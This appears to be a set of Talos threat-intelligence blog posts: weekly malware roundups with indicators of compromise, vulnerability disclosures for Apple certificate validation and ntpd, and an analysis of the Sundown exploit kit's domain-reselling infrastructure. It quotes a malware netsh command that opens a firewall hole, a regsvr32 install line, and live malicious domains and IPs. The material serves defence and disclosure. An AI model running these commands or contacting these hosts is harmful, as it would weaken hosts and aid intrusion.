  This malware performs modifications to the Internet proxy settings, communicates with malicious domains, and installs Certificate Authority root certificates. It’s capable of modifying clipboard data contents, executing external applications and recording screenshots.
• Win.Trojan.Tinba-6136046
  Tinba or Tiny Banker is a well known malware dedicated to stealing banking details from victims. It usually uses a Domain Generation Algorithm to connect C&C server and get further instructions. It injects itself into processes such as explorer.exe, ctfmon or winver. Then it usually acts as a man-in-the-middle to collect banking information. This binary is able to hook file or directories functions, registry query functions to hide its presence.
• Win.Trojan.Iparmor-6136596-0
  This trojan contacts a remote server and works as a backdoor giving the attacker full access on the victim machine by binding on a given port on the target computer. Additionally, it may employ anti-vm and anti-debugging techniques to hinder the analysis and may inject on other processes.
• Win.Trojan.Dridex
  Description: Dridex is a popular banking trojan aimed at stealing banking credentials that are submitted from the infected host. It leverages a code injection technique known as AtomBombing to help evade detection when samples undergo automatic dynamic analysis. The latest version also includes several additional updates to prior components; the author(s) and relevant campaigns are still determined to make use of the family for harvesting sensitive financial information.
• Win.Trojan.Fareit
  Fareit is a Trojan focused on harvesting sensitive information, including banking credentials. The latest variant is coded in VB.NET. Unfortunately, the decompiled p-code is heavily obfuscated. Upon runtime, it will communicate with a C&C server and download a stage 2 binary.
• Win.Packer.RC465
  This packer is delivered in a self-extracting RAR archive containing four files ([a-z0-9]{6}.vbs, [a-z0-9]{4}.dll, p, x). The VBS script uses rundll32.exe to execute the DLL, which uses a modified version of RC4 to decrypt and load the payload executable.
• Doc.Macro.DeleteMacro-6096859-0
  Samples associated with this threat have the ability to remove the macro GUI buttons and modify the default Word template by adding macro code to it.
• Doc.Downloader.Donoff-6152250-0
  Donoff is a payload delivery Office document that leverages the Windows Command shell to launch a Powershell one-liner to download and execute an executable. Among the arbitrary payloads that Donoff can deliver it has been seen downloading ransomware including Crypt0L0cker.

Details

Win.Trojan.Bladabindi-6016609-0

Mutex Created
Created mutexes are random, below is a sample of the created mutexes by the given samples:

• \BaseNamedObjects\82a189c74c3e9fd038b3ac06323ec594
• \BaseNamedObjects\5a3497b38e5f17baf6d068415ba44fc3
• \BaseNamedObjects\5660a10368a656b0823e959b24f70f8e
• \BaseNamedObjects\c611ee3fd342ce91082e2af52cd56103

Domain Names

• anonymouxhacker.zapto.org 
• shabd.ddns.net

File Hashes
These are just some samples, hashes vary as the malware gets parametrized

• fa616b946ba80eba844f22f946120a2fee4c5d9996ad1e7d542785d4ad9c6b61
• fc6bea4b3f1cd01c3796a1c665a48584ba187a44420fe03016f1a884046096d8
• 79e5dae1654922e5ed38ebf456fb787a062fb2dea88c4caca851fe9198266e73
• 21e10f4c80e076376e4a65cc6a316badd1a23840ef2b90c411eb525759e2b0f8

Firewall Bypass
The malware executes netsh to poke a hole into the host’s firewall

• netsh firewall add allowedprogram %TEMP%\\server.exe server.exe ENABLE

Coverage

Win.Trojan.VBTrojan3-6118226-0

Registry keys created
This family will modify the registry in order to, at least, disable the display of hidden files, and survive after reboot by starting the malware after the systems boots, and disable windows updates.

• USER\$UUID\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
• USER\$UUID\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED
• HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

Domains

• Ns1.musicmixb.co
• Ns1.musicmixc.com
• Ns1.musiczipz.com
• Ns1.musicmixa.org
• ns1.musicmixa.net

File Hashes

• B86289e538509cf601471b8f63d21e47223740ce64341c1c8ea9511cfd396326
• 8cd348be4596e65fcd9a756a184179dce348533b37bd089a4aaaacbe5c08617c
• 8fc063601cb80b0e64e611766eaeb8fb2ba16cdbed99d297d31089298941bc1e
• 517ec51154ee27bcf69963f8ca6958bc4a16f1ca646d02c6c3a8572edc6b0536

Coverage

Most people don't give much thought to what happens when you connect to your bank's website or log in to your email account. For most people, securely connecting to a website seems as simple as checking to make sure the little padlock in the address bar is present. However, in the background there are many different steps that are taken to ensure you are safely and securely connecting to the websites that claim they are who they are. This process includes certificate validation, or making sure that the servers that users are connecting to present "identification" showing they are legitimate. This helps to protect users from fraudulent servers that might otherwise steal sensitive information.

Due to the sensitive nature of this process, software vulnerabilities that adversely impact the security of certificate validation could have major consequences. Unfortunately, digital systems are complex and bugs are an inevitable reality in software development. Identifying vulnerabilities and responsibly disclosing them improves the security of the internet by eliminating potential attack vectors. Talos is committed to improving the overall security of the internet and today we are disclosing TALOS-2017-0296 (CVE-2017-2485), a remote code execution vulnerability in the X.509 certificate validation functionality of Apple macOS and iOS. This vulnerability has been responsibly disclosed to Apple and software updates have been released that address this issue for both macOS and iOS.

Vulnerability Details

TALOS-2017-0296 (CVE-2017-2485) was identified by Aleksandar Nikolic of Talos.

A use-after-free vulnerability in the X.509 certificate validation functionality of Apple macOS and iOS has been identified which could lead to arbitrary code execution. This vulnerability manifests due to improper handling of X.509v3 certificate extensions fields. A specially crafted X.509 certificate could trigger this vulnerability and potentially result in remote code execution on the affected system.

On Apple macOS and iOS, most client applications (e.g. Safari, Mail.app, Google Chrome) use the built in system certificate validation agent to validate a X.509 certificate. An application that passes a malicious certificate to the certificate validation agent could trigger this vulnerability. Possible scenarios where this could be exploited include users connecting to a website which serves a malicious certificate to the client, Mail.app connecting to a mail server that provides a malicious certificate, or opening a malicious certificate file to import into the keychain.

For the full details, please read our vulnerability report.

Talos has confirmed macOS Sierra 10.12.3 and iOS 10.2.1 are vulnerable. Older versions of macOS and iOS are likely affected. However, Talos has not verified that they are.

Coverage

Talos has developed the following Snort rules to detect attempts to exploit this vulnerability. Note that these rules are subject to change pending additional vulnerability information. For the most current information, please visit your FireSIGHT Management Center or Snort.org.

Snort Rule: 41999

Protecting Customers

Bugs are an inevitable part of software development. With the complexity of digital systems only due to increase, identifying bugs that are security issues will remain a major challenge that Talos will continue to undertake. By researching ways to identify vulnerabilities and responsibly disclosing them, we can improve the security of our customer's networks and the entire internet.

For other vulnerabilities Talos has disclosed, please visit to our Vulnerability Report Portal: http://www.talosintelligence.com/vulnerability-reports/

To review our Vulnerability Disclosure Policy, please refer to our policy here:
http://www.cisco.com/c/en/us/about/security-center/vendor-vulnerability-policy.html

Vulnerabilities discovered by Matthew Van Gundy from Cisco ASIG

Overview

As a member of the Linux FoundationCore Infrastructure Initiative, Cisco is contributing to the CII effort by evaluating the Network Time Protocol daemon (ntpd) for security defects. We previously identified aseries of vulnerabilities in the Network Time Protocol daemon; through our continued research we have identified a further vulnerabilities in the software. This vulnerability results in a denial of service attack against peers due to the origin timestamp check functionality. The attacker does not need to be authenticated in order to exploit the vulnerability.

The ntpd daemon uses the Network Time Protocol for clock synchronization between computer systems and as such, plays a vital role in maintaining system integrity.

Details

TALOS-2016-0260 (CVE-2016-9042) - Network Time Protocol Origin Timestamp Check Denial of Service Vulnerability

An unauthenticated attacker can send a crafted network packet to reset the origin timestamp for target peers. If the attacker knows that source address of a peer, and sends a spoof ntpd packet with the source address of the peer with a zero origin timestamp, this clears the expected origin timestamp. Hence, legitimate incoming packets with correct timestamps will be rejected because their correct timestamp will not equal the (now cleared) value for the expected timestamp. This causes the packet to be dropped and creating a denial of service condition.

More details can be found in the vulnerability reports: TALOS-2016-0260

Tested Version: NTP 4.2.8p9

Conclusion

The ntpd daemon is a vital part of many systems ensuring that clocks are synchronised to a common standard. Cisco has previously identified a series of vulnerabilities in ntpd and worked to ensure that patches are released, and that detection of exploitation of these vulnerabilities is available.

Organisations should take care to ensure that potentially spoofed ntpd packets are rejected at network perimeters, that ntpd installations are fully patched or upgraded as soon as possible, and that detection for potential exploitation is in place.

Coverage

The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rules: 41367

This post authored by Nick Biasini with contributions from Edmund Brumaghin and Alex Chiu

The last time Talos discussed Sundown it was an exploit kit in transition. Several of the large exploit kits had left the landscape and a couple of strong contenders remain. Sundown was one of the kits still active and poised to make a move, but lacked a lot of the sophistication of the other large kits and had lots of easy identifiers throughout its infection chain. Most of these identifiers have been stripped, new exploits added, and Talos was able to uncover an interesting campaign focused around the bulk purchase of expiring domains through auctions commonly held within the domain resellers market.

Changes Underway

Historically Sundown has done several things that made it easy to identify. This included doing things like including lots of references to the Yugoslavian Business Network (YBN). These references were found in HTTP headers and also in logos that would be provided to users browsing to Sundown URLs without following the proper referer path. Over the past several months those key indicators have begun to disappear. As you can see below the HTTP headers that used to clearly identify the YBN are now gone.

Old Version of Sundown Identifying YBN

Current Landing Page Request - No YBN

Additionally, if users try and browse to landing page URLs they will be greeted with HTTP 404 instead of a professional looking logo. However there are other more significant changes underway specifically related to the landing pages. Below is the original landing page seen from Sundown a couple of months ago.



This shares some striking similarities to the RIG exploit kit including the use of three 's' variables that are all base64 encoded blocks of text. This is very similar to RIG's use of 's' variables which are also involved in the retrieval of malicious swf files. There are also several other types of obfuscation found including many different representations of characters. The instance below shows the use of ASCII chr() syntax as a way to obfuscate. These are all common techniques found when looking at obfuscated code. Now let's start to compare it to what was seen more recently from Sundown.



There are a lot of subtle and not so subtle changes that have been made to the landing pages. The first can be seen in this initial screen capture. Sundown authors now included a title, albeit a basic "you are". Additionally, the use of 's' variables has been replaced with random strings. Looking a little further reveals some obvious changes.



Here you can see use of ASCII chr() has been replaced with hexadecimal characters. Finally there are lots of comments found throughout the code associated with this more recent Sundown landing page.



Talos has seen similar use of comments in other exploit kits. Angler famously spread quotes from Sense and Sensibility throughout their landing pages. In this particular instance it appears that Sundown has turned to Lorem Ipsum for its text. Lorem Ipsum is commonly found in design as a placeholder and is a collection of random Latin words from an old Latin text. Basically the Sundown landing page is full of random text comments to try and hinder analysis further.

Going back to the decoded version of the landing page we are able to see several other changes related to URL structure of the exploit pages. Previously Sundown was using numeric subfolders (i.e. '/12346/') and numeric file names with proper extensions (i.e. '/496.swf'). That has now changed with this newer version of Sundown. Shown below is one of the requests for a malicious flash file.



The syntax has now changed to just request a subfolder of '/7/' with a numeric string as a query. Some of the requests will also include an ID parameter. Also, the extensions are no longer included. In the instances Talos analyzed we did not find any Silverlight exploits indicating that Sundown has abandoned attempting to exploit vulnerabilities in the Silverlight browser plugin. Much has been made of Sundown adding a recent Microsoft Edge vulnerability, based on a publicly available PoC. That's not the only browser exploit found in Sundown as there is an additional exploit from another PoC found in the landing page itself.

Sundown still appears to be exploiting CVE-2016-0189, a remote code execution vulnerability in the JScript and VBScript script engines of Internet Explorer and Windows. In our analysis of the exploit kit landing page, Talos pulled out another encoded exploit page.



In this case, we found that Sundown authors are continuing the practice of cloning previously written exploit PoCs with this one for CVE-2016-0189 being no exception. The biggest deviation from the PoC was the inclusion of two functions: overwrite2() and fire(). fire() is the main function of interest as it's called from the exploit() function and replaces the execution of 'notepad.exe' that was found in the PoC. Instead, fire() contains code that begins the process of pulling down the payload and executing it via cmd.exe.


Also of note is Sundown's approach to compromising systems. Most exploit kits will attempt a single exploit on a system to achieve compromise. Sundown throws its full arsenal at a potential victim. Typically you will see the IE scripting vulnerability targeted as well as several malicious flash files. This approach is noisy but gives Sundown the best chance of successfully compromising endpoints.

Payload Changes

One of the biggest changes we have noticed with Sundown is the way it retrieves its payloads. Previous versions of Sundown would retrieve the payload via the web browser with a filename of 'z.php'. The filename has remained consistent but the means to get the payload and the location of the payload have both changed.

Sundown is now retrieving its payload via the command line and through the use of wscript similar to the way that RIG-v currently retrieves its payloads. This isn't surprising as Sundown is well known for "borrowing" techniques and methods from other exploit kits or resources publicly available. Below are two cmd.exe get requests one originated from Sundown and one from RIG-v. There are a striking number of similarities indicative of code reuse. This is another thing that Sundown has apparently stolen from another exploit kit.



Sundown Payload


RIG Payload

Another change is the separation of systems. The payloads now reside on a different server than the one used to retrieve the landing and exploit pages. Both servers share a common root domain, but are using different subdomains.



Unfortunately, without access to the backend systems there is no way to determine if the source of these files is different or the same. However, this is the only exploit kit currently implementing this split server activity. One other note on Sundown payloads is that they are not encoded or encrypted in anyway (as shown above) which makes them easy to identify and analyze.

Campaign Discovered

Talos is always analyzing exploit kit campaigns and Sundown is no exception. While monitoring Sundown activity, Talos began to uncover a larger domain infrastructure and began investigating deeper. Sundown uses domain wildcarding to host its activity instead of Domain Shadowing. There are a couple impacts associated with this type of activity, namely it affects all traffic destined to anything within the domain, causing all subdomains to begin redirecting clients to the malicious content. For example a common subdomain for websites is 'www' by using wildcarding this subdomain would be impacted and now redirect to a malicious server.

Talos began looking at the domains and started to find commonalities. First was the name used by the registrant account associated with the domains. We repeatedly encountered registrant accounts using the name "Stivie Malone" while investigating Sundown activity. There was also a common email address of stiviemalone@gmail[.]com. One thing that made this account interesting was the sheer number of domains the user owned. Typically when we are running down registrant accounts used for malicious activity there are only a hundred or fewer associated with the accounts. In the case of Domain Shadowing, the accounts are compromised and the users are typically unaware of the activity. The more we dug on this particular registrant the less likely it was a compromised account. As we continued to dig we ended up finding a registrant that was taking advantage of the way gmail handles '.' in email addresses. As a result we found several different registrant accounts that were tied to the same stiviemalone@gmail[.]com account. Below is a list of the variants that were found to have registrant accounts:

• stivie.ma.lone@gmail.com
• stiviemalone@gmail.com
• stivie.malone@gmail.com
• sti.vie.malone@gmail.com

We then started pivoting through the use of the name "Stivie Malone" and found a second registrant account using a different email address that was also being used to host Sundown. This registrant was tied to the email address of porqish@europe[.]com. Looking back historically we have found a total of more than 3000 domains that at one point were owned by one of these registrant accounts.

Based on this information we started digging a little deeper on how a user could have this number of domains for illegitimate activity. It's not uncommon for domain registrars to run specials on certain types of TLDs or other promotions where domains will be a couple dollars or less. However, a lot of these domains appeared to be transfers instead of purchases. We started researching this particular username and what we found was a network of domain reselling and a history of bulk purchases of expired or soon to expire domains.

Domain Reselling

Our deeper investigation into this particular actor started with the name being used for the majority of the domain registrations "Stivie Malone". Since this is an odd spelling of a name it began with a simple google search. As shown below the google search top results were tied to namepros[.]com, which is a domain reselling site.



Reselling of domains is a common tactic used by individuals to try and get value out of their already registered domains, especially if they are soon expiring. In the case that the reseller does not plan to renew them, reselling allows them to get a bit of residual value out of them. We began to look at the activity associated with this particular user and found some relevant posts.



This was the first indication that this actor was looking specifically for large amounts of domains and preferred them to be registered by godaddy. We looked a little further at one of the first posts the user made on namepros.


Here you can clearly see that the actor is showing preference to domains owned by godaddy and namecheap. Additionally you can see the price point of between $0.10 and $0.60 and the payment method being used, which in all cases we observed was bitcoin. This is why this is such an attractive avenue for adversaries looking to obtain lots of domains to host suspect activity. For a relatively small price and using a digital currency these actors are able to obtain a large amount of domains. Interestingly enough in some other posts the actor discusses specifically how the domains only need to be active for a week.



Another key point here is that the actor wants domains that are at least six months old. This is another interesting piece of information. Some organizations and technologies look at the age of the domain as a way to evaluate the legitimacy of the domain. For example some technologies will by default block anything that has only been registered within the last X days. By only purchasing domains that are at least six months old, this allows the attacker to bypass this screening method. Also of note were periods of time where this particular user was not actively buying domains for various reasons including "an update to their software" though no other specific details were provided. The most recent activity from this user was from several weeks ago.



At this point we have not been able to identify if these domain purchases did occur. However, in digging through the registrant information we were able to find other instances of bulk domain purchases by this user. The most recent of which was done right after the new year where at least 500 domains were transferred in the span of a couple of days. However, it was a couple of weeks before sundown activity was found being hosted on these domains. Interestingly, the signature block associated with this user indicates that they may have experienced issues with their infrastructure at one time.



Ironically, the user also claims that they have never taken any money from anyone, but admits that they do not conduct business ethically. As some of the most common payloads dropped by exploit kits are ransomware and banking trojans, this claim is not accurate.



We also observed this user attempting to solicit help in converting between bitcoin and Paypal. It appears that the user is attempting to set up an escrow service. They claim that they have 70 BTC in overall trade volume and are offering a 5% commission for conversions.



As we've found in the past domains that host malicious activity often have some sort of webpage hosted on the root domain. This was also the case for this particular actor. They appeared to host some sort of default domain management page, shown below.



Most of these links do not lead anywhere significant. Additionally, there is a phone number listed for 24/7 support. We began searching for this number and found it on a number of major domain registrar sites. It appears to be a technical support number for GoDaddy and its subsidiaries.

Sudden Shift

While Talos was working with GoDaddy on the activity and working on getting the domains seized we observed a sudden pivot by the adversary. The activity from these accounts for Sundown effectively stopped and we noticed that the user had begun selling some of the domains they had previously registered using the same reselling techniques discussed above.



Upon further investigation we did find additional Sundown activity that was being hosted on domains that appeared to be purchased via the same technique as before, reselling. The primary differences were that they were no longer using any variants of Stivie Malone and had moved to full privacy protection mode. Additionally, they were no longer leveraging GoDaddy in anyway instead moved to a registrar based out of Europe. Finally the user accounts found on namepros were also no longer being used and there was no additional activity seen even related to the sale of the existing domains. There is no way to know why the adversary suddenly pivoted, but regardless the domains were remaining domains were shut down in collaboration with GoDaddy preventing the actor from being able to resell previously malicious domains to other users.

IP Infrastructure

After gathering data on the domain infrastructure we began to analyze the IP infrastructure being used during this campaign. Typically we see exploit kit servers active for a relatively short window of time, usually no more than a couple of days at a time. This makes sense as servers are quickly identified and blacklisted as well as being shut down by providers. This doesn't seem to be the case with Sundown, they tend to have servers active for a substantial amount of time, in some cases weeks.

Additionally, this campaign showed a lot of the same characteristics we have seen from exploit kit campaigns in the past. Certain providers were heavily leveraged and there were blocks of IP addresses that appear to be contiguous blocks. This typically indicates an actor that purchased a block of servers and moved from one to the next as the servers were blocked or shut down. Early in the campaign it appeared that the adversary was heavily leveraging OVH, but since then has moved on to providers in Germany and Netherlands. Below is an image illustrating this rotation through IPs similar to what was commonly observed with the Angler exploit kit in the past.

IOC

Domains (Text File of all domains owned by registrant ~3000)

IP Addresses (Note: Addresses are from Late December 2016 and on)

• 93.190.143.211
• 188.165.163.229
• 188.165.163.228
• 188.165.163.227
• 188.165.163.226
• 93.190.143.201
• 88.99.41.190
• 93.190.143.186
• 93.190.143.185
• 88.99.41.189
• 93.190.143.82
• 94.140.120.233
• 109.236.88.87

Conclusion

Sundown is an exploit kit in transition, it has stopped using calling cards and other easily ways to identify its activity. It is one of the few exploit kits adding any new exploits to their arsenal, albeit stolen. At the same time they consistently steal exploits and technologies from other people and competitors. The exploit kit landscape has been struggling to find its footing since the major players have left. It still appears to be in transition with RIG and Sundown being the primary players left as an option for those looking to compromise random victims while browsing the web.

There are other aspects of this campaign that were important, including the use of domain resellers. This is an interesting change and something that we haven't seen commonly used by adversaries to gather domains. However, it does make sense, for someone who is only looking to use a domain for a short amount of time and doesn't want to use others domains this is a logical approach. It's cheap, relatively low risk, and allows you to leverage domains that have been registered for some time, defeating some methods used for blacklisting. Regardless the message is clear that we are always looking to stop these threats. If we can't stop you we are at least going to force you to spend more money. The end goal being to make the cost of entry outweigh the potential monetary reward for your activity. Shutting down these domains and killing the registrant accounts is not going to stop these individuals forever, but it will force them to change and spend additional capital setting up new infrastructure from which to host their malicious content.

Coverage

Additional ways our customers can detect and block this threat are listed below.



Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between March 24 and March 31. As with previous round-ups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavior characteristics, indicators of compromise, and how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of date of publication. Detection and coverage for the following threats is subject to updates pending additional threat or vulnerability analysis. For the most current information, please refer to your FireSIGHT Management Center, Snort.org, or ClamAV.net.

This week's most prevalent threats are:

• Win.Ransomware.Cerber-6162243-1
  Windows ransomware
  Cerber is a popular ransomware family that continues to undergo active development to continue being dropped in the wild. It still drops multiple ransom notes, including a desktop wallpaper as a warning post. Unfortunately, these recent samples are protected with heavy crypters.
• Win.Trojan.Wabot-6113548-0
  Backdoor
  This is an IRC worm written in Delphi. The code is not obfuscated. It drops several files in the system32 directory, and a text file with the word "marijuana" written in ASCII art to the root of the system drive. After waiting for some time, it will try to connect to an IRC server and join the channel '#HelloThere'. From there it receives backdoor commands.
• Doc.Macro.HeuristicReplaceFuncs-6169546-0
  Macro Obfuscation Technique
  To prevent quick understanding and basic detection of malicious macros developers use different obfuscation techniques to hide the macro's functionality
• Doc.Macro.ReplaceFuncs-6171292-0
  Macro
  This sample is a Microsoft Word document that uses a macro to launch a PowerShell script to download and execute another executable payload. Unfortunately, this secondary payload was unavailable at the time of this execution report.
• Js.Trojan.Diplugem
  Adware
  This family installs browser extensions in your browsers without your permission. It's main functionality is to show advertisements in different ways, such as opening tabs, potentially interfering with usual navigation.
• Doc.Macro.ObfuscatedObj
  Macro Obfuscation Technique
  This obfuscation technique utilizes macro string operations to prevent direct static detection of the string WSCRIPT.SHELL, which is the object used to execute commands outside of the Office system. As an obfuscation technique, these droppers are being discovered delivering payloads of all sorts and sizes.
• Win.Trojan.VBCryptLaser
  Trojan/Info stealer
  This malware is mainly an information stealer and it is able to detect an instrumented environment such as a sandbox. Moreover, the malware injects itself in legitimate processes and it persists reboot by invoking either Javascript or mshta . This family is highly obfuscated and considering its behavior is a variant of the infamous Kovter trojan.
• Win.Virus.Virut-6171773
  Virus
  This is a virus which is well know for opening back door on TCP Port 80 using the irc server ircd.zief.pl allowing remote attacker to download and execute additional files. It's looking for firewall and antivirus instances, as well modifying host file and internet explorer proxy settings.
• Win.Ransomware.Spora-6172235
  Ransomware
  This ransomware is encrypting files and not adding any specific extensions. It's also deleting volume shadow copy to avoid system restore point. It install a startup link and modify internet explorer proxies and create an html file with a dynamic filename. One difference with other ransomware is that no network traffic is generated as everything is done locally.

---

Win.Ransomware.Cerber-6162243-1

Indicators of Compromise

Registry Keys

• N/A

Mutexes

• N/A

IP Addresses

• 54.87.5.88

Domain Names

• api[.]blockcypher[.]com
• hjhqmbxyinislkkt[.]1efxa8[.]top

Files and or directories created

• %APPDATA%\Microsoft\Outlook\<RANDOM_FILENAME>.8a2a
• %APPDATA%\Microsoft\Outlook\_HELP_HELP_HELP_1YI7CF_.hta
• %APPDATA%\Microsoft\Outlook\_HELP_HELP_HELP_2NN4UMV_.png
• %USERPROFILE%\Desktop\_HELP_HELP_HELP_J81LBSA_.hta
• %USERPROFILE%\Desktop\_HELP_HELP_HELP_L1JAF_.png
• %APPDATA%\Microsoft\Outlook\_HELP_HELP_HELP_6MTGJWJ_.png
• %APPDATA%\Microsoft\Outlook\_HELP_HELP_HELP_LKCGK3Y_.hta

File Hashes

• dc184001af08dd043150c350c94304041b2c8e995ce62f05f846d776b450f80f
• 57288de46d603910b1d6eb88390a4b7083b3f060e75bd76023a8a13f7c40633f
• c0ab4ccdef7ad4fb6b1af396a29cbb4220dc720acfec091fa5d6484656fec63f
• ca7d955a40f2d7a969245884fffd0189402b05af3f9896d10e476cbdaa1b0829

Coverage

Screenshots of Detection

AMP


ThreatGrid


Umbrella


Malware screenshot(s)

---

Win.Trojan.Wabot-6113548-0

Indicators of Compromise

Registry Keys

• HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
  is changed to point to the malware binary

Mutexes

• \BaseNamedObjects\sIRC4

IP Addresses

• N/A

Domain Names

• uk[.]undernet[.]org

Files dropped

• %System32%\sIRC4.exe
• %SystemDrive%\marijuana.txt
• %System32%\DC++ Share (several files are created in this directory)
• %SYSTEM32%\xdccPrograms (several files are created in this directory)

Coverage

Screenshots of Detection

AMP

ThreatGrid


Malware Screenshot

---

Doc.Macro.HeuristicReplaceFuncs-6169546-0

Indicators of Compromise

Registry Keys

• N/A

Mutexes

• N/A

IP Addresses

• N/A

Domain Names

• www[.]cleverdotl[.]top

Files and or directories created

• N/A

File Hashes

• d183f2200ed5f510888a80e95d99aa5a3c8408dee7f0c9b8330fc52fb0592dce
• ee6284d966eb9f510a1b44ef6ba435048729c8ce8a741fb33575d5b1b6d347f5
• bafa3a9e5b2f290eabce23811c6309209d281f31bc6eee25b4eb739bce1800ce
• 1480d45ed9841d055e4e04ade87f7785b3006fb62c8060616ed7507185df2b77
• 13d61439ede67b78a536ea3c510534db0ab7d295ef1275645b7981814909d0db
• b70497f0e50fcbfe83a7b92021db30e14f3fd6a829ab9948f828d46048cdbdd6
• 42ddcf96146d3be84bf36abe71fd6780abf79aa1ccb2ba65093c9b46a3d76b03
• 1fdb9f23b2d7dbe849f38f79f88449fe3f327e76585b202d914718036245c469
• 9948928059c4676f6b6f8519fc39eaab89a027159577dbc3ceac4833ef35167f
• 3fd05d08c135075d2f4a72652746bc42e359b9d1658d4f3b41d5f95bb7216649
• db7d22c806ca4a305a317df58a65bef8e2195bb0a8ac223313a8a18c37f5c143
• 5ee9f3b87db48f41eaaffd9a7fc9cc76920dd498237a23e1ad7585f4e2be02d8
• 6dfb35527b23ca769510228498c8de68cfc93d5c2b83246d8e9b338d2717481f
• fe257b7da01cfc247564f2e7b36b19b8af548c2f3ffbee2b9d8d552a71502d78
• dec3c2f1b1de6d70fc566f036ab320decc88ed5418e429feae45189e458bf5e4
• d4175848a03cab54f856d41c51ac4ede18c01382a5ebc4ed40c4e27f2e45244b
• c19a7af6c3846bd433765c027149ff838482a55624a5e603d395ad83d6f24129

Coverage

Screenshots of Detection

AMP

ThreatGrid

Umbrella

Malware Screenshot

---

Doc.Macro.ReplaceFuncs-6171292-0

Indicators of Compromise

IP Addresses

• 35.166.163.174

Domain Names

• otweeytl[.]bid

File Hashes

• 77bccf5e4175d11971399f89abe0256c230e1757a3d0804737b14a0ac839890b

Coverage

Screenshots of Detection

AMP

ThreatGrid

Umbrella

Malware Screenshot

---

Js.Trojan.Diplugem

Indicators of Compromise

Registry keys

• USER\$UUID$\Software\Classes\SystemFileAssociations\.aHTML\shell\Edit\command
• USER\$UUID$\Software\Classes\__aHTML\shell\Edit\command
• USER\$UUID$\Software\Classes\__aHTML\shell
• USER\$UUID$\Software\Classes\__aHTML\shell\Edit\ddeexec
• USER\$UUID$\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.aHTML
• USER\$UUID$\Software\Classes\__aHTML\shell\Edit
• USER\$UUID$\Software\Classes\SystemFileAssociations\.aHTML\shell\Edit
• USER\$UUID$\Software\Classes\SystemFileAssociations
• USER\$UUID$\Software\Classes\SystemFileAssociations\.aHTML
• USER\$UUID$\Software\Classes\SystemFileAssociations\.aHTML\shell\Edit\ddeexec
• USER\$UUID$\Software\Classes\.aHTML\OpenWithProgids
• USER\$UUID$\Software\Classes\.aHTML
• USER\$UUID$\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.aHTML\OpenWithProgids
• USER\$UUID$\Software\Classes\__aHTML
• USER\$UUID$\Software\Classes\SystemFileAssociations\.aHTML\shell

Domain Names

• getlikemobj[.]info

Files and or directories created

• 0doGTj9XEZ5tbV5.dat
• 0doGTj9XEZ5tbV5.exe
• UtE5FnEWw87hxH.dll
• UtE5FnEWw87hxH.tlb
• UtE5FnEWw87hxH.x64.dll
• background.html
• content.js
• lsdb.js
• manifest.json
• uui.js
• bootstrap.js
• chrome.manifest
• bg.js
• Install.rdf

Installed services

• regsvr32.exe /u /s ".\\UtE5FnEWw87hxH.x64.dll"

File Hashes

• 0333de69ebe7ef58889c39c6ee10b33e8fa4299849c760e6f018bac5ae2212aa
• 9eb18b9091281aa25afa4ced079024a043913e179a03947f73dabe121f36dc2b
• 07e32a2e78410eb73f525032636894e82193d5806c85a132c7efd31a76abc862
• a441bf44fec8d08481920e240281afccdcef2f0cfadb681b7b6ce50be495fc01
• 0aa8272fc12da7273cdc3573ee4e78849fe187f01eca9cda4b7941de99d8bb83
• a6ac9b2e5211f3feb41a91a5c82992de483b56c142dc35e84439a965c8250f50
• 0591e02001c57dccc0062765240c0766fd24a2fb0af37a6e32a211ea202074b3

Coverage

Screenshots of Detection

AMP

ThreatGrid

Umbrella

---

Doc.Macro.ObfuscatedObj

Indicators of Compromise

File Hashes

Please note this is not an exhaustive list.

• 00151e030408a5183d92132652d5a0c5eb2f9e073209cb7ee12060312c5f400c
• 01f9d4276b16af80bb29dd195d343e1844062f0d86115ec5ace3234cd510b403
• 033f7a9d6ed8cbb6ecb958c9db9ab7794d37c9e763b029329b2fdf431c172be4
• 03ade17b4ad71a395b4ba657171537d4e643f3686b7c1072208366bba26c9fdf
• 08aed8b4e7f420d1c08f7fa3de86143af13ba61313e5d98f7ce552e554c991b4
• 0a3693404f2b073d62c8b7bfbd4701fec0a2b6bb6efe7b91f274065e0b7540ff
• 0cb8d7a50e1e1d36be68bf6686f7772d1fc60f7a03ec9900d5abf842546b7ab8
• 0d1fd8c7ddf4abe530008971c2fe7f239c90052ad426ba480205c1e335db7966
• 0d69b76da355e4a7cb36976626d540cefd9ae8e1fd96f0c7ae7f7e582f1aa96e
• 125df53cab91b182b0c7d5cec5e310b3471e1b4f640edc8ec9c499f1f41df237
• 12b9b3f8c125a75653fe2e19f361d8a164e1c9d4653fd8690b4f197495cba580
• 19642ed34dc6e68b8a29075c3886027530d08351a588e1ccfa368df2ce2350dd
• 1c438d063a759da25a2517d4ca81f92606225d372143c978fa30cd4769025863
• 1d4d3da400696861a219e02ada9c730bf825484327322ea8a1b27ff7a3c11de4
• 1e316a875a347ae678fa11f12b08885e0b62a8abc3ca41cd7bed8f0d421c09a1
• 1e7ffa8b2f7b2dec0ff62a1ef51fe5a4adc6d11cf7e1d004d9e09dfdceaacb7a
• 1f49b218b1e4afb4b15124acd9c9a8eb8a1ba9d87fa91e8d255bb73c14a37f9f
• 25d93ab8a663df35b9752edc3bf7a1a2f563f626ff405f6b05386ad4df3fb776
• 2bcd02fc25eece8a348d96b80fa8933ff1411fd96f7e5116a14fc8d65ac2f4b8
